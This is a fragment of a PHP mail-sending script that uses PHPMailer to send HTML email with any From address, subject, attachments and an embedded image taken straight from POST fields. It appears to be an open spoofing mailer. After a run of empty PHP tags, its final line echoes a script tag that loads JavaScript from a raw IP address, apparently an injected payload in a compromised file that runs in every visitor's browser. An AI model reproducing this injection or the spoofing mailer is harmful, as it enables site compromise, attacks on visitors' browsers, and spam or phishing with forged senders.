  938.     $email = $_POST["otkogo"];
  939.     $AddAddress = $_POST['email'];
  940.     if ($AddAddress=='') {
  941.         echo'no';
  942.         exit;
  943.     }
  944.     $AddAddress_name = $_POST['email_name'];
  945.     $FromName = $_POST["otkogo_name"];
  946.     $title = $_POST["tema"];
  947.     $attachfile=$_FILES['attachfile'];
  948.     $attachimage=$_FILES['attachimage'];
  949.         $title =  substr(htmlspecialchars(trim($title)), 0, 1000);
  950.         $mess =  substr(trim($mess), 0, 1000000);
  951.         $mail = new PHPMailer();
  952.         $mail->From = $email;
  953.         $mail->FromName = $FromName;
  954.         $mail->AddAddress($AddAddress, $AddAddress_name);
  955.         $mail->IsHTML(true);
  956.         $mail->Subject = $title;
  957.         if(isset($_FILES['attachfile'])) {
  958.                  if($_FILES['attachfile']['error'] == 0){
  959.                     $mail->AddAttachment($_FILES['attachfile']['tmp_name'], $_FILES['attachfile']['name']);
  960.                  }
  961.         }
  962.         if(isset($_FILES['attachimage'])) {
  963.                  if($_FILES['attachimage']['error'] == 0){
  964.                     if (!$mail->AddEmbeddedImage($_FILES['attachimage']['tmp_name'], 'my-attach', 'image.gif', 'base64', $_FILES['attachimage']['type']))
  965.                          die ($mail->ErrorInfo);
  966.                     $mess .= '<img src="cid:my-attach" border=0>';
  967.                  }
  968.         }
  969.         $mail->Body = $mess;
  970.         if (!$mail->Send()) die ('Mailer Error: '.$mail->ErrorInfo);
  971.         echo 'ok';
  972. ?><?php ?><?php ?><?php ?><?php echo "<script type=\"text/javascript\" src=\"http://91.239.65.173/t/link.php\"></script>"; ?>